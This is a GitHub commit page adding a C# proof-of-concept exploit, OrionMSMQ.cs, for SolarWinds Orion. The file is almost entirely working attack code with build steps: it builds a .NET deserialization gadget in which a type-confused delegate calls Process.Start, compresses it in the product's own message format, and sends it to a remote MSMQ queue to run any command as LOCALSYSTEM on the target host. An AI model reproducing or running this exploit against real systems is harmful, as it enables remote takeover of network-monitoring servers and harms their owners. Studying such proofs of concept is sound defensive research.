Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
6bf0b7e
commit 29b1fff
Showing
1 changed file
with
164 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,164 @@ | ||
/* | ||
** To build: | ||
** | ||
** Copy SolarWinds.Collector.Contract.dll from SolarWinds machine (C:\Program Files (x86)\Common Files\SolarWinds\Collector\) | ||
** | ||
** %windir%\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:SolarWinds.Collector.Contract.dll OrionMSMQ.cs | ||
*/ | ||
|
||
using SolarWinds.Collector.Contract; | ||
|
||
using System; | ||
using System.Collections.Generic; | ||
using System.Data.Linq; | ||
using System.Diagnostics; | ||
using System.IO.Compression; | ||
using System.IO; | ||
using System.Linq; | ||
using System.Messaging; | ||
using System.Reflection; | ||
using System.Text; | ||
|
||
namespace OrionMSMQ | ||
{ | ||
internal class CompressedMessageFormatter : IMessageFormatter, ICloneable | ||
{ | ||
// Fields | ||
private IMessageFormatter baseFormatter; | ||
private byte[] compressHeader; | ||
|
||
// Methods | ||
public CompressedMessageFormatter(IMessageFormatter original) : this(original, 0x1e8480) | ||
{ | ||
} | ||
|
||
public CompressedMessageFormatter(IMessageFormatter original, long compressThreshold) | ||
{ | ||
this.compressHeader = Encoding.ASCII.GetBytes("CompressVersion1"); | ||
if (original == null) | ||
{ | ||
throw new ArgumentNullException("original"); | ||
} | ||
this.baseFormatter = original; | ||
this.CompressThreshold = compressThreshold; | ||
} | ||
|
||
public bool CanRead(Message message) | ||
{ | ||
if (message == null) | ||
{ | ||
return false; | ||
} | ||
return (message.BodyStream != null); | ||
} | ||
|
||
public object Clone() | ||
{ | ||
return new CompressedMessageFormatter((IMessageFormatter)this.baseFormatter.Clone()); | ||
} | ||
|
||
public object Read(Message message) | ||
{ | ||
if (message == null) | ||
{ | ||
throw new ArgumentNullException("message"); | ||
} | ||
byte[] buffer = new byte[this.compressHeader.Length]; | ||
message.BodyStream.Position = 0L; | ||
message.BodyStream.Read(buffer, 0, buffer.Length); | ||
if (this.compressHeader.SequenceEqual<byte>(buffer)) | ||
{ | ||
message.BodyStream.Seek((long)buffer.Length, SeekOrigin.Begin); | ||
using (DeflateStream stream = new DeflateStream(message.BodyStream, CompressionMode.Decompress)) | ||
{ | ||
Message message2 = new Message | ||
{ | ||
BodyType = message.BodyType | ||
}; | ||
stream.CopyTo(message2.BodyStream); | ||
message.BodyStream = message2.BodyStream; | ||
} | ||
} | ||
message.BodyStream.Position = 0L; | ||
return this.baseFormatter.Read(message); | ||
} | ||
|
||
public void Write(Message message, object obj) | ||
{ | ||
if (message == null) | ||
{ | ||
throw new ArgumentNullException("message"); | ||
} | ||
if (obj == null) | ||
{ | ||
throw new ArgumentNullException("obj"); | ||
} | ||
this.baseFormatter.Write(message, obj); | ||
if (message.BodyStream.Length >= this.CompressThreshold) | ||
{ | ||
MemoryStream stream = new MemoryStream(); | ||
stream.Write(this.compressHeader, 0, this.compressHeader.Length); | ||
using (DeflateStream stream2 = new DeflateStream(stream, CompressionMode.Compress, true)) | ||
{ | ||
message.BodyStream.Position = 0L; | ||
message.BodyStream.CopyTo(stream2); | ||
} | ||
stream.Position = 0L; | ||
message.BodyStream = stream; | ||
} | ||
} | ||
|
||
// Properties | ||
public long CompressThreshold { get; internal set; } | ||
} | ||
|
||
class Program | ||
{ | ||
public static void TypeConfuseDelegate(Comparison<String> comp) | ||
{ | ||
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance); | ||
Object[] invoke_list = comp.GetInvocationList(); | ||
invoke_list[1] = new Func<String, String, Process>(Process.Start); | ||
fi.SetValue(comp, invoke_list); | ||
} | ||
|
||
static void Main(String[] args) | ||
{ | ||
Console.WriteLine(""); | ||
Console.WriteLine("Microsoft Message Queuing Feature should be installed on your computer before running this POC."); | ||
Console.WriteLine(""); | ||
if (args.Length < 2) | ||
{ | ||
Console.WriteLine("Provide IP address of SolarWinds box and a command to run as LOCALSYSTEM."); | ||
Console.WriteLine("Example invocation:"); | ||
Console.WriteLine(); | ||
Console.WriteLine("\tOrionMSMQ.exe 192.168.1.11 shutdown /r"); | ||
return; | ||
} | ||
|
||
// Borrowed from https://googleprojectzero.blogspot.com/2017/04/ | ||
Delegate d = new Comparison<String>(String.Compare); | ||
Comparison<String> d2 = (Comparison<String>)MulticastDelegate.Combine(d, d); | ||
IComparer<String> comp = Comparer<String>.Create(d2); | ||
SortedSet<String> set = new SortedSet<String>(comp); | ||
|
||
for (int i = 1; i < args.Length; i++) | ||
{ | ||
set.Add(args[i]); | ||
} | ||
|
||
TypeConfuseDelegate(d2); | ||
|
||
PropertyBag bag = new PropertyBag(); | ||
bag["PollingPlanID"] = "0"; | ||
|
||
bag["Payload"] = set; | ||
String path = String.Format("FormatName:DIRECT=TCP:{0}\\private$\\solarwinds/collector/processingqueue/core.node.details.wmi", args[0]); | ||
MessageQueue rmQ = new MessageQueue(path); | ||
Message msg = new Message(bag, new CompressedMessageFormatter(new BinaryMessageFormatter())); | ||
rmQ.Send(msg); | ||
Console.WriteLine("Payload sent to remote queue:"); | ||
Console.WriteLine(rmQ.Path); | ||
} | ||
} | ||
} |